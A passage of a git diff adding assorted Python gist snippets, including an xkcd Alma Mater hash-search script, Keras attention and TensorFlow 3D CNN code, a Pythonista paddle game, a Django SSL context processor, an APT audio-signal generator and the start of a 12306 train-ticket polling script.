+            if im.shape[2] == 3:
+                qim = QImage(im.data, im.shape[1], im.shape[0], im.strides[0], QImage.Format_RGB888);
+                return qim.copy() if copy else qim
+            elif im.shape[2] == 4:
+                qim = QImage(im.data, im.shape[1], im.shape[0], im.strides[0], QImage.Format_ARGB32);
+                return qim.copy() if copy else qim
+
+    raise NotImplementedException
\ No newline at end of file
diff --git a/hard-gists/5289693/._snippet.py b/hard-gists/5289693/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5289693/._snippet.py differ
diff --git a/hard-gists/5289693/snippet.py b/hard-gists/5289693/snippet.py
new file mode 100644
index 00000000..004ca5fa
--- /dev/null
+++ b/hard-gists/5289693/snippet.py
@@ -0,0 +1,72 @@
+"""Attempt to solve the xkcd Alma Mater challenge.
+
+Dependencies:
+	pyskein
+	requests
+
+Usage:
+	python code.py york.ac.uk
+"""
+
+import sys
+import random
+import string
+from skein import skein1024
+import requests
+
+try:
+	institution = sys.argv[1]
+except:
+	print("Institution name not given.")
+	sys.exit(1)
+
+# Get a list of letters to build our string out of
+letters = list(string.printable + string.whitespace)
+numbers = [ str(i) for i in range(0,10) ]
+
+def random_bytes(minlen=1, maxlen=30):
+	"""Generate a random byte string between the two lengths.
+
+	:param minlen: The minimum length of the string (inclusive)
+	:param maxlen: The maximum length of the string (inclusive)
+	"""
+
+	out = ''
+	for i in range(0, random.randint(minlen, maxlen)):
+		out += random.choice(numbers)
+	return out
+
+
+
+def submit_to_xkcd(bytes):
+	"""Submit the bytestring to xkcd
+	"""
+
+	r = requests.post("http://almamater.xkcd.com/?edu=" + institution,
+			{"hashable": bytes})
+	print(r.text)
+	# The hash supplied by xkcd
+xkcdhash = "5b4da95f5fa08280fc9879df44f418c8f9f12ba424b7757de02bbdfbae0d4c4fdf9317c80cc5fe04c6429073466cf29706b8c25999ddd2f6540d4475cc977b87f4757be023f19b8f4035d7722886b78869826de916a79cf9c94cc79cd4347d24b567aa3e2390a573a373a48a5e676640c79cc70197e1c5e7f902fb53ca1858b6"
+
+best = 418
+pre = ""
+try:
+	while True:
+		x = random_bytes() 
+		h = skein1024()
+		val = pre + str(x)
+		#x = random_bytes()
+		h.update(val.encode())
+		diff = int(h.hexdigest(),16) ^ int(xkcdhash,16)
+		diffbits = bin(diff).count("1")
+		if(diffbits < best):
+			print()
+			print("New best: {} ({})".format(h.hexdigest(), diffbits))
+			best = diffbits 
+			print(val + "->" + str(diffbits))
+			submit_to_xkcd(val)
+			print("\n")
+
+
+except KeyboardInterrupt:
+	print("Finished.")
diff --git a/hard-gists/528d816d035f2deaaca1/._snippet.py b/hard-gists/528d816d035f2deaaca1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/528d816d035f2deaaca1/._snippet.py differ
diff --git a/hard-gists/528d816d035f2deaaca1/snippet.py b/hard-gists/528d816d035f2deaaca1/snippet.py
new file mode 100644
index 00000000..018e37bf
--- /dev/null
+++ b/hard-gists/528d816d035f2deaaca1/snippet.py
@@ -0,0 +1,30 @@
+from sklearn.metrics.pairwise import pairwise_distances
+import numpy as np
+
+# X shoudl be a numpy matrix, very likely sparse matrix: http://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.sparse.csr_matrix.html#scipy.sparse.csr_matrix
+# T1 > T2 for overlapping clusters
+# T1 = Distance to centroid point to not include in other clusters
+# T2 = Distance to centroid point to include in cluster
+# T1 > T2 for overlapping clusters
+# T1 < T2 will have points which reside in no clusters
+# T1 == T2 will cause all points to reside in mutually exclusive clusters
+# Distance metric can be any from here: http://scikit-learn.org/stable/modules/generated/sklearn.metrics.pairwise.pairwise_distances.html
+# filemap may be a list of point names in their order in X. If included, row numbers from X will be replaced with names from filemap. 
+ 
+def canopy(X, T1, T2, distance_metric='euclidean', filemap=None):
+    canopies = dict()
+    X1_dist = pairwise_distances(X, metric=distance_metric)
+    canopy_points = set(range(X.shape[0]))
+    while canopy_points:
+        point = canopy_points.pop()
+        i = len(canopies)
+        canopies[i] = {"c":point, "points": list(np.where(X1_dist[point] < T2)[0])}
+        canopy_points = canopy_points.difference(set(np.where(X1_dist[point] < T1)[0]))
+    if filemap:
+        for canopy_id in canopies.keys():
+            canopy = canopies.pop(canopy_id)
+            canopy2 = {"c":filemap[canopy['c']], "points":list()}
+            for point in canopy['points']:
+                canopy2["points"].append(filemap[point])
+            canopies[canopy_id] = canopy2
+    return canopies
\ No newline at end of file
diff --git a/hard-gists/5292f95000e409e239b9dc973295327a/._snippet.py b/hard-gists/5292f95000e409e239b9dc973295327a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5292f95000e409e239b9dc973295327a/._snippet.py differ
diff --git a/hard-gists/5292f95000e409e239b9dc973295327a/snippet.py b/hard-gists/5292f95000e409e239b9dc973295327a/snippet.py
new file mode 100644
index 00000000..0e39ac11
--- /dev/null
+++ b/hard-gists/5292f95000e409e239b9dc973295327a/snippet.py
@@ -0,0 +1,228 @@
+"""
+A keras attention layer that wraps RNN layers.
+
+Based on tensorflows [attention_decoder](https://github.com/tensorflow/tensorflow/blob/c8a45a8e236776bed1d14fd71f3b6755bd63cc58/tensorflow/python/ops/seq2seq.py#L506) 
+and [Grammar as a Foreign Language](https://arxiv.org/abs/1412.7449).
+
+date: 20161101
+author: wassname
+url: https://gist.github.com/wassname/5292f95000e409e239b9dc973295327a
+"""
+
+from keras import backend as K
+from keras.engine import InputSpec
+from keras.layers import LSTM, activations, Wrapper, Recurrent
+
+class Attention(Wrapper):
+    """
+    This wrapper will provide an attention layer to a recurrent layer. 
+    
+    # Arguments:
+        layer: `Recurrent` instance with consume_less='gpu' or 'mem'
+    
+    # Examples:
+    
+    ```python
+    model = Sequential()
+    model.add(LSTM(10, return_sequences=True), batch_input_shape=(4, 5, 10))
+    model.add(TFAttentionRNNWrapper(LSTM(10, return_sequences=True, consume_less='gpu')))
+    model.add(Dense(5))
+    model.add(Activation('softmax'))
+    model.compile(loss='categorical_crossentropy', optimizer='rmsprop') 
+    ```
+    
+    # References
+    - [Grammar as a Foreign Language](https://arxiv.org/abs/1412.7449)
+    
+    
+    """
+    def __init__(self, layer, **kwargs):
+        assert isinstance(layer, Recurrent)
+        if layer.get_config()['consume_less']=='cpu':
+            raise Exception("AttentionLSTMWrapper doesn't support RNN's with consume_less='cpu'")
+        self.supports_masking = True
+        super(Attention, self).__init__(layer, **kwargs)
+
+    def build(self, input_shape):
+        assert len(input_shape) >= 3
+        self.input_spec = [InputSpec(shape=input_shape)]
+        nb_samples, nb_time, input_dim = input_shape
+
+        if not self.layer.built:
+            self.layer.build(input_shape)
+            self.layer.built = True
+
+        super(Attention, self).build()
+        
+        self.W1 = self.layer.init((input_dim, input_dim, 1, 1), name='{}_W1'.format(self.name))
+        self.W2 = self.layer.init((self.layer.output_dim, input_dim), name='{}_W2'.format(self.name))
+        self.b2 = K.zeros((input_dim,), name='{}_b2'.format(self.name))
+        self.W3 = self.layer.init((input_dim*2, input_dim), name='{}_W3'.format(self.name))
+        self.b3 = K.zeros((input_dim,), name='{}_b3'.format(self.name))
+        self.V = self.layer.init((input_dim,), name='{}_V'.format(self.name))
+
+        self.trainable_weights = [self.W1, self.W2, self.W3, self.V, self.b2, self.b3]
+
+    def get_output_shape_for(self, input_shape):
+        return self.layer.get_output_shape_for(input_shape)
+
+    def step(self, x, states):
+        # This is based on [tensorflows implementation](https://github.com/tensorflow/tensorflow/blob/c8a45a8e236776bed1d14fd71f3b6755bd63cc58/tensorflow/python/ops/seq2seq.py#L506).
+        # First, we calculate new attention masks:
+        #   attn = softmax(V^T * tanh(W2 * X +b2 + W1 * h))
+        # and we make the input as a concatenation of the input and weighted inputs which is then
+        # transformed back to the shape x of using W3
+        #   x = W3*(x+X*attn)+b3
+        # Then, we run the cell on a combination of the input and previous attention masks:
+        #   h, state = cell(x, h).
+        
+        nb_samples, nb_time, input_dim = self.input_spec[0].shape
+        h = states[0]
+        X = states[-1]
+        xW1 = states[-2]
+        
+        Xr = K.reshape(X,(-1,nb_time,1,input_dim))
+        hW2 = K.dot(h,self.W2)+self.b2
+        hW2 = K.reshape(hW2,(-1,1,1,input_dim)) 
+        u = K.tanh(xW1+hW2)
+        a = K.sum(self.V*u,[2,3])
+        a = K.softmax(a)
+        a = K.reshape(a,(-1, nb_time, 1, 1))
+        
+        # Weight attention vector by attention
+        Xa = K.sum(a*Xr,[1,2])
+        Xa = K.reshape(Xa,(-1,input_dim))
+        
+        # Merge input and attention weighted inputs into one vector of the right size.
+        x = K.dot(K.concatenate([x,Xa],1),self.W3)+self.b3    
+        
+        h, new_states = self.layer.step(x, states)
+        return h, new_states
+
+    def get_constants(self, x):
+        constants = self.layer.get_constants(x)
+        
+        # Calculate K.dot(x, W2) only once per sequence by making it a constant
+        nb_samples, nb_time, input_dim = self.input_spec[0].shape
+        Xr = K.reshape(x,(-1,nb_time,input_dim,1))
+        Xrt = K.permute_dimensions(Xr, (0, 2, 1, 3))
+        xW1t = K.conv2d(Xrt,self.W1,border_mode='same')     
+        xW1 = K.permute_dimensions(xW1t, (0, 2, 3, 1))
+        constants.append(xW1)
+        
+        # we need to supply the full sequence of inputs to step (as the attention_vector)
+        constants.append(x)
+        
+        return constants
+
+    def call(self, x, mask=None):
+        # input shape: (nb_samples, time (padded with zeros), input_dim)
+        input_shape = self.input_spec[0].shape
+        if K._BACKEND == 'tensorflow':
+            if not input_shape[1]:
+                raise Exception('When using TensorFlow, you should define '
+                                'explicitly the number of timesteps of '
+                                'your sequences.\n'
+                                'If your first layer is an Embedding, '
+                                'make sure to pass it an "input_length" '
+                                'argument. Otherwise, make sure '
+                                'the first layer has '
+                                'an "input_shape" or "batch_input_shape" '
+                                'argument, including the time axis. '
+                                'Found input shape at layer ' + self.name +
+                                ': ' + str(input_shape))
+
+        if self.layer.stateful:
+            initial_states = self.layer.states
+        else:
+            initial_states = self.layer.get_initial_states(x)
+        constants = self.get_constants(x)
+        preprocessed_input = self.layer.preprocess_input(x)
+        
+
+        last_output, outputs, states = K.rnn(self.step, preprocessed_input,
+                                             initial_states,
+                                             go_backwards=self.layer.go_backwards,
+                                             mask=mask,
+                                             constants=constants,
+                                             unroll=self.layer.unroll,
+                                             input_length=input_shape[1])
+        if self.layer.stateful:
+            self.updates = []
+            for i in range(len(states)):
+                self.updates.append((self.layer.states[i], states[i]))
+
+        if self.layer.return_sequences:
+            return outputs
+        else:
+            return last_output
+            
+            
+# test likes in https://github.com/fchollet/keras/blob/master/tests/keras/layers/test_wrappers.py
+import pytest
+import numpy as np
+from numpy.testing import assert_allclose
+from keras.utils.test_utils import keras_test
+from keras.layers import wrappers, Input, recurrent, InputLayer
+from keras.layers import core, convolutional, recurrent
+from keras.models import Sequential, Model, model_from_json
+
+nb_samples, timesteps, embedding_dim, output_dim = 2, 5, 3, 4
+embedding_num = 12
+x = np.random.random((nb_samples, timesteps, embedding_dim))
+y = np.random.random((nb_samples, timesteps, output_dim))
+
+# base line test with LSTM
+model = Sequential()
+model.add(InputLayer(batch_input_shape=(nb_samples, timesteps, embedding_dim)))
+model.add(Attention(recurrent.LSTM(output_dim, input_dim=embedding_dim, return_sequences=True, consume_less='mem')))
+model.add(core.Activation('relu'))
+model.compile(optimizer='rmsprop', loss='mse')
+model.fit(x,y, nb_epoch=1, batch_size=nb_samples)
+
+
+# test stacked with all RNN layers and consume_less options
+model = Sequential()
+model.add(InputLayer(batch_input_shape=(nb_samples, timesteps, embedding_dim)))
+
+# test supported consume_less options
+# model.add(Attention(recurrent.LSTM(embedding_dim, input_dim=embedding_dim,, consume_less='cpu' return_sequences=True))) # not supported
+model.add(Attention(recurrent.LSTM(output_dim, input_dim=embedding_dim, consume_less='gpu', return_sequences=True)))
+model.add(Attention(recurrent.LSTM(embedding_dim, input_dim=embedding_dim, consume_less='mem', return_sequences=True)))
+# test each other RNN type
+model.add(Attention(recurrent.GRU(embedding_dim, input_dim=embedding_dim, consume_less='mem', return_sequences=True)))
+model.add(Attention(recurrent.SimpleRNN(embedding_dim, input_dim=embedding_dim, consume_less='mem', return_sequences=True)))
+model.add(core.Activation('relu'))
+model.compile(optimizer='rmsprop', loss='mse')
+model.fit(x,y, nb_epoch=1, batch_size=nb_samples)
+
+# test with return_sequence = False
+model = Sequential()
+model.add(InputLayer(batch_input_shape=(nb_samples, timesteps, embedding_dim)))
+model.add(Attention(recurrent.LSTM(output_dim, input_dim=embedding_dim, return_sequences=False, consume_less='mem')))
+model.add(core.Activation('relu'))
+model.compile(optimizer='rmsprop', loss='mse')
+model.fit(x,y[:,-1,:], nb_epoch=1, batch_size=nb_samples)
+
+# with bidirectional encoder
+model = Sequential()
+model.add(InputLayer(batch_input_shape=(nb_samples, timesteps, embedding_dim)))
+model.add(wrappers.Bidirectional(recurrent.LSTM(embedding_dim, input_dim=embedding_dim, return_sequences=True)))
+model.add(Attention(recurrent.LSTM(output_dim, input_dim=embedding_dim, return_sequences=True, consume_less='mem')))
+model.add(core.Activation('relu'))
+model.compile(optimizer='rmsprop', loss='mse')
+model.fit(x,y, nb_epoch=1, batch_size=nb_samples)
+
+# test config
+model.get_config()
+
+# test to and from json
+model = model_from_json(model.to_json(),custom_objects=dict(Attention=Attention))
+model.summary()
+
+# test with functional API
+input = Input(batch_shape=(nb_samples, timesteps, embedding_dim))
+output = Attention(recurrent.LSTM(output_dim, input_dim=embedding_dim, return_sequences=True, consume_less='mem'))(input)
+model = Model(input, output)
+model.compile(optimizer='rmsprop', loss='mse')
+model.fit(x, y, nb_epoch=1, batch_size=nb_samples)
\ No newline at end of file
diff --git a/hard-gists/5297676/._snippet.py b/hard-gists/5297676/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5297676/._snippet.py differ
diff --git a/hard-gists/5297676/snippet.py b/hard-gists/5297676/snippet.py
new file mode 100644
index 00000000..efa51f59
--- /dev/null
+++ b/hard-gists/5297676/snippet.py
@@ -0,0 +1,176 @@
+from scene import *
+from random import randint, choice
+from math import cos, sin
+
+screen_size = Size(768, 1024)
+score = 0
+
+def update_score(n=1):
+	global score
+	if n == 'reset':
+		score = 0
+	else: 
+		score += n
+
+class Field(object):
+	def __init__(self):
+		size = screen_size
+		self.lines = [(0, 0, 0, size.h), (size.w, 0, size.w, size.h), (0, size.h, size.w, size.h), (0, screen_size.h/2, screen_size.w, screen_size.h/2)]
+		
+	def draw(self):
+		stroke_weight(3)
+		ellipse(screen_size.w/2-10, screen_size.h/2-10, 20, 20)
+		for l in self.lines:
+			line(*l)
+		
+		
+class Player(object):
+	def __init__(self):
+		self.rect = Rect(screen_size.w/2-50, 50, 100, 20)
+		self.pos = self.rect.center()
+		self.size = self.rect.size()
+		self.lives = 3
+		
+	def update(self):
+		g = gravity()
+		self.rect.x += g.x * 50
+		self.rect.x = min(screen_size.w - 100, max(0, self.rect.x))
+			
+	def draw(self):
+		rect(*self.rect)
+
+
+class Ball(object):
+	def __init__(self):
+		self.radius = 10
+		self.pos = Point(screen_size.w/2-self.radius, screen_size.h/2-self.radius)
+		self.rect = Rect(self.pos.x, self.pos.y, self.radius*2, self.radius*2)
+		self.vx = choice((randint(-4, -1), randint(1, 4)))
+		self.vy = randint(3, 5)
+	
+	def collide_with_paddle(self, object1):
+		if self.rect.intersects(object1.rect):
+			self.rect.y = object1.rect.top()
+			self.bounce('y')
+			update_score()
+			pos = self.rect.center().x - object1.rect.center().x
+			self.vx = pos/10
+		
+	def bounce(self, direction='y'):
+		if direction == 'y':
+			self.vy *= -1 
+		elif direction =='x':
+			self.vx *= -1
+	
+	def update(self):
+		self.rect.x += self.vx
+		self.rect.y += self.vy
+		if self.rect.x + self.radius >= screen_size.w:
+			self.rect.x = screen_size.w - self.radius
+			self.bounce('x')
+		if self.rect.x - self.radius <= 0:
+			self.rect.x = self.radius
+			self.bounce('x')
+		if self.rect.y + self.radius >= screen_size.h:
+			self.rect.y = screen_size.h - self.radius
+			self.bounce('y')
+	
+	def draw(self):
+		fill(1,1,0)
+		no_stroke()
+		ellipse(*self.rect)
+	
+	
+class Game(Scene):
+	def setup(self):
+		self.frame_count = 0
+		self.field = Field()
+		self.p1 = Player()
+		self.balls = []
+		
+	def add_ball(self, n=1):
+		self.balls.append(Ball())
+	
+	def draw(self):
+		self.frame_count = (self.frame_count + 1) % 1600
+		if self.frame_count % 1600 == 0:
+			self.add_ball()
+		if len(self.balls) == 0:
+			self.add_ball()
+		text('Score: %s' % score, x=screen_size.w/2, y=screen_size.h-50, font_size=25)
+		text('Lives: %s' % self.p1.lives, x=100, y=screen_size.h-50, font_size=24)
+		text('Balls: %s' % len(self.balls), x=screen_size.w-100, y=screen_size.h-50, font_size=24)
+		self.field.draw()
+		
+		self.p1.update()	
+		self.p1.draw()
+		
+		for ball in self.balls:
+			ball.update()
+			ball.draw()
+			ball.collide_with_paddle(self.p1)
+			if ball.rect.y < -ball.rect.h/2:
+				self.p1.lives -= 1
+				del self.balls[self.balls.index(ball)]
+		
+		if self.p1.lives < 1:
+			main_scene.switch_scene(GameoverScreen())
+		
+				
+class StartScreen(Scene):
+	def setup(self):
+		self.pos = Point(screen_size.w/2, screen_size.h/2)
+		self.info = '''
+The goal of the game is to keep the ball(s) inside the field for as long as you possibly
+can. Whenever a ball bounces on the paddle, you are rewarded with a point. You have three
+lives. If a ball passes the paddle, you will loose a life.
+		
+Touch anywhere on the screen to start'''
+		
+	def draw(self):
+		text(self.info, x=self.pos.x, y=self.pos.y, font_size=18, alignment=5)
+	
+	def touch_began(self, touch):
+		main_scene.switch_scene(Game())
+		
+
+class GameoverScreen(Scene):
+	def setup(self):
+		self.text = 'Game Over!'
+	
+	def draw(self):
+		text(self.text, x=screen_size.w/2, y=screen_size.h/2, font_size=64, alignment=5)
+	
+	def touch_began(self, touch):
+		main_scene.switch_scene(Game())
+
+
+class MultiScene (Scene):
+	def __init__(self, start_scene):
+		self.active_scene = start_scene
+		self.tmp_t = 0
+	def switch_scene(self, new_scene):
+		self.active_scene = new_scene
+		self.setup()
+	def setup(self):
+		global screen_size
+		screen_size = self.size
+		self.tmp_t = self.t
+		self.active_scene.setup()
+	def draw(self):
+		background(0,0,0)
+		fill(1,1,1)
+		self.active_scene.touches = self.touches
+		self.active_scene.t = self.t - self.tmp_t
+		self.active_scene.draw()
+	def touch_began(self, touch):
+		self.active_scene.touch_began(touch)
+	def touch_moved(self, touch):
+		self.active_scene.touch_moved(touch)
+	def touch_ended(self, touch):
+		self.active_scene.touch_ended(touch)
+
+
+main_scene = MultiScene(StartScreen())
+
+run(main_scene, PORTRAIT)
\ No newline at end of file
diff --git a/hard-gists/5297697/._snippet.py b/hard-gists/5297697/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5297697/._snippet.py differ
diff --git a/hard-gists/5297697/snippet.py b/hard-gists/5297697/snippet.py
new file mode 100644
index 00000000..b3cba2ba
--- /dev/null
+++ b/hard-gists/5297697/snippet.py
@@ -0,0 +1,36 @@
+from scene import *
+
+class MyScene (Scene):
+	def setup(self):
+		self.xybegin = Point(0,0)
+		self.lines = []
+	
+	def draw(self):
+		background(0, 0, 0)
+		fill(0, 0, 1)
+		stroke(0, 0, 1)
+		stroke_weight(3)
+
+		for l in self.lines:
+			line(*l)
+			
+		text(str(len(self.lines)), x=100,y=100)
+		
+	def touch_began(self, touch):
+		x = touch.location.x
+		y = touch.location.y
+		self.xybegin = Point(x,y)
+	
+	def touch_moved(self, touch):
+			x = touch.location.x
+			y = touch.location.y
+			ppos = touch.prev_location
+			self.lines.append((ppos.x, ppos.y, x, y))
+
+	def touch_ended(self, touch):
+		x = touch.location.x
+		y = touch.location.y
+		ppos = touch.prev_location
+		self.lines.append((ppos.x, ppos.y, x, y))
+		
+run(MyScene())
\ No newline at end of file
diff --git a/hard-gists/529816/._snippet.py b/hard-gists/529816/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/529816/._snippet.py differ
diff --git a/hard-gists/529816/snippet.py b/hard-gists/529816/snippet.py
new file mode 100644
index 00000000..55f7a468
--- /dev/null
+++ b/hard-gists/529816/snippet.py
@@ -0,0 +1,17 @@
+# [your-project/context_processors.py]
+from django.conf import settings
+
+def ssl_fix(request):
+    media_url = getattr(settings, 'MEDIA_URL')
+    if request.is_secure() == True:
+        media_url = media_url.replace("http://", "https://")
+    
+    return {
+        "MEDIA_URL": media_url,
+    }
+
+# [your-project/settings.py]
+TEMPLATE_CONTEXT_PROCESSORS = (
+    "other_processor_defined_already",
+    "your-project.context_processors.ssl_fix",
+)
diff --git a/hard-gists/52bba57f724e38229da9d85fbc85b673/._snippet.py b/hard-gists/52bba57f724e38229da9d85fbc85b673/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/52bba57f724e38229da9d85fbc85b673/._snippet.py differ
diff --git a/hard-gists/52bba57f724e38229da9d85fbc85b673/snippet.py b/hard-gists/52bba57f724e38229da9d85fbc85b673/snippet.py
new file mode 100644
index 00000000..de402fc1
--- /dev/null
+++ b/hard-gists/52bba57f724e38229da9d85fbc85b673/snippet.py
@@ -0,0 +1,113 @@
+
+import tensorflow as tf
+import numpy as np
+
+FC_SIZE = 1024
+DTYPE = tf.float32
+
+
+def _weight_variable(name, shape):
+    return tf.get_variable(name, shape, DTYPE, tf.truncated_normal_initializer(stddev=0.1))
+
+
+def _bias_variable(name, shape):
+    return tf.get_variable(name, shape, DTYPE, tf.constant_initializer(0.1, dtype=DTYPE))
+
+
+def inference(boxes, dataconfig):
+    prev_layer = boxes
+
+    in_filters = dataconfig.num_props
+    with tf.variable_scope('conv1') as scope:
+        out_filters = 16
+        kernel = _weight_variable('weights', [5, 5, 5, in_filters, out_filters])
+        conv = tf.nn.conv3d(prev_layer, kernel, [1, 1, 1, 1, 1], padding='SAME')
+        biases = _bias_variable('biases', [out_filters])
+        bias = tf.nn.bias_add(conv, biases)
+        conv1 = tf.nn.relu(bias, name=scope.name)
+
+        prev_layer = conv1
+        in_filters = out_filters
+
+    pool1 = tf.nn.max_pool3d(prev_layer, ksize=[1, 3, 3, 3, 1], strides=[1, 2, 2, 2, 1], padding='SAME')
+    norm1 = pool1  # tf.nn.lrn(pool1, 4, bias=1.0, alpha=0.001 / 9.0, beta = 0.75, name='norm1')
+
+    prev_layer = norm1
+
+    with tf.variable_scope('conv2') as scope:
+        out_filters = 32
+        kernel = _weight_variable('weights', [5, 5, 5, in_filters, out_filters])
+        conv = tf.nn.conv3d(prev_layer, kernel, [1, 1, 1, 1, 1], padding='SAME')
+        biases = _bias_variable('biases', [out_filters])
+        bias = tf.nn.bias_add(conv, biases)
+        conv2 = tf.nn.relu(bias, name=scope.name)
+
+        prev_layer = conv2
+        in_filters = out_filters
+
+    # normalize prev_layer here
+    prev_layer = tf.nn.max_pool3d(prev_layer, ksize=[1, 3, 3, 3, 1], strides=[1, 2, 2, 2, 1], padding='SAME')
+
+    with tf.variable_scope('conv3_1') as scope:
+        out_filters = 64
+        kernel = _weight_variable('weights', [5, 5, 5, in_filters, out_filters])
+        conv = tf.nn.conv3d(prev_layer, kernel, [1, 1, 1, 1, 1], padding='SAME')
+        biases = _bias_variable('biases', [out_filters])
+        bias = tf.nn.bias_add(conv, biases)
+        prev_layer = tf.nn.relu(bias, name=scope.name)
+        in_filters = out_filters
+
+    with tf.variable_scope('conv3_2') as scope:
+        out_filters = 64
+        kernel = _weight_variable('weights', [5, 5, 5, in_filters, out_filters])
+        conv = tf.nn.conv3d(prev_layer, kernel, [1, 1, 1, 1, 1], padding='SAME')
+        biases = _bias_variable('biases', [out_filters])
+        bias = tf.nn.bias_add(conv, biases)
+        prev_layer = tf.nn.relu(bias, name=scope.name)
+        in_filters = out_filters
+
+    with tf.variable_scope('conv3_3') as scope:
+        out_filters = 32
+        kernel = _weight_variable('weights', [5, 5, 5, in_filters, out_filters])
+        conv = tf.nn.conv3d(prev_layer, kernel, [1, 1, 1, 1, 1], padding='SAME')
+        biases = _bias_variable('biases', [out_filters])
+        bias = tf.nn.bias_add(conv, biases)
+        prev_layer = tf.nn.relu(bias, name=scope.name)
+        in_filters = out_filters
+
+    # normalize prev_layer here
+    prev_layer = tf.nn.max_pool3d(prev_layer, ksize=[1, 3, 3, 3, 1], strides=[1, 2, 2, 2, 1], padding='SAME')
+
+
+    with tf.variable_scope('local3') as scope:
+        dim = np.prod(prev_layer.get_shape().as_list()[1:])
+        prev_layer_flat = tf.reshape(prev_layer, [-1, dim])
+        weights = _weight_variable('weights', [dim, FC_SIZE])
+        biases = _bias_variable('biases', [FC_SIZE])
+        local3 = tf.nn.relu(tf.matmul(prev_layer_flat, weights) + biases, name=scope.name)
+
+    prev_layer = local3
+
+    with tf.variable_scope('local4') as scope:
+        dim = np.prod(prev_layer.get_shape().as_list()[1:])
+        prev_layer_flat = tf.reshape(prev_layer, [-1, dim])
+        weights = _weight_variable('weights', [dim, FC_SIZE])
+        biases = _bias_variable('biases', [FC_SIZE])
+        local4 = tf.nn.relu(tf.matmul(prev_layer_flat, weights) + biases, name=scope.name)
+
+    prev_layer = local4
+
+    with tf.variable_scope('softmax_linear') as scope:
+        dim = np.prod(prev_layer.get_shape().as_list()[1:])
+        weights = _weight_variable('weights', [dim, dataconfig.num_classes])
+        biases = _bias_variable('biases', [dataconfig.num_classes])
+        softmax_linear = tf.add(tf.matmul(prev_layer, weights), biases, name=scope.name)
+
+    return softmax_linear
+
+
+def loss(logits, labels):
+    cross_entropy = tf.nn.softmax_cross_entropy_with_logits(
+        logits, labels, name='cross_entropy_per_example')
+
+    return tf.reduce_mean(cross_entropy, name='xentropy_mean')
\ No newline at end of file
diff --git a/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/._snippet.py b/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/._snippet.py differ
diff --git a/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/snippet.py b/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/snippet.py
new file mode 100644
index 00000000..1b7da1d6
--- /dev/null
+++ b/hard-gists/52ec27e3010a3fd852e1d0d6e2ab5180/snippet.py
@@ -0,0 +1,78 @@
+import scipy
+import numpy as np
+from scipy.ndimage import imread
+from scipy.io import wavfile
+from scipy.signal import resample_poly
+from sys import argv
+
+"""
+  Usage: ./fakenapt.py <in.png> <out.wav>
+  The input PNG should be 909 pixels wide.
+"""
+
+DATA_RATE = 4160
+CARRIER = 2400
+
+SYNC_HIGH = 244
+SYNC_LOW = 11
+
+WEDGE = [31, 63, 95, 127, 159, 191, 223, 255]
+SYNC_A = [SYNC_LOW] * 4 + [SYNC_HIGH, SYNC_HIGH, SYNC_LOW, SYNC_LOW] * 7 + [SYNC_LOW] * 7
+SYNC_B = [SYNC_LOW] * 4 + [SYNC_HIGH, SYNC_HIGH, SYNC_HIGH, SYNC_LOW, SYNC_LOW] * 7
+SPACE_VIS = [SYNC_LOW] * 47
+SPACE_IR = [SYNC_HIGH] * 47
+MINUTE_BLACK = [0] * 47
+MINUTE_WHITE = [255] * 47
+
+TELEMETRY_PLACEHOLDER = WEDGE + [0, 55, 59, 63, 67, 63, 15, 0]
+
+
+def apt_line(line_number, first_row, second_row, telemetry):
+    minute_modulo = line_number % 120
+    telemetry_wedge = (line_number % 128) // 8
+
+    space = SPACE_VIS
+    telemetry[15] = WEDGE[1]
+
+    if minute_modulo < 2:
+        space = MINUTE_BLACK
+
+    elif minute_modulo < 4:
+        space = MINUTE_WHITE
+
+    line = np.concatenate((SYNC_A, space, first_row, [telemetry[telemetry_wedge]] * 45))
+
+    space = SPACE_IR
+    telemetry[15] = WEDGE[3]
+
+    if minute_modulo < 2:
+        space = MINUTE_BLACK
+
+    elif minute_modulo < 4:
+        space = MINUTE_WHITE
+
+    line = np.concatenate((line, SYNC_B,  space,  second_row, [telemetry[telemetry_wedge]] * 45))
+
+    return np.double(line)
+
+image = np.uint8(imread(argv[1], "L"))
+
+
+i = 0
+samples = []
+
+for line in range(image.shape[0]):
+    data = apt_line(line, image[line], image[line], TELEMETRY_PLACEHOLDER)
+    data = scipy.signal.resample_poly(data, 8, 1, window="boxcar")
+    data /= 255.0
+
+    for value in data:
+        value = -1 + value*2
+        samples.append(np.sin(i * CARRIER * np.pi * 2 / (DATA_RATE*8)) * (1 + value * 0.87) * 0.5)
+        i += 1
+
+    if line % 100 == 0:
+        print(line)
+
+scipy.io.wavfile.write(argv[2], 11025, (scipy.signal.resample_poly(samples, 11025, DATA_RATE * 8, window="boxcar") * 32767)
+                       .astype(np.int16))
\ No newline at end of file
diff --git a/hard-gists/5301ff823bef4b5eae52/._snippet.py b/hard-gists/5301ff823bef4b5eae52/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5301ff823bef4b5eae52/._snippet.py differ
diff --git a/hard-gists/5301ff823bef4b5eae52/snippet.py b/hard-gists/5301ff823bef4b5eae52/snippet.py
new file mode 100644
index 00000000..0caa0aa8
--- /dev/null
+++ b/hard-gists/5301ff823bef4b5eae52/snippet.py
@@ -0,0 +1,32 @@
+# -*- coding: utf-8 -*-
+import urllib.request
+import re
+import datetime
+from datetime import timedelta
+import ctypes
+import winsound
+
+def search(fromDate,toDate):
+    found = False
+    while not found:
+        date = fromDate
+        showOneTime = False
+        while (date <= toDate):            
+            url ='https://kyfw.12306.cn/otn/lcxxcx/query?purpose_codes=ADULT&queryDate='+date.strftime('%Y-%m-%d')+'&from_station=QYS&to_station=BJP'            
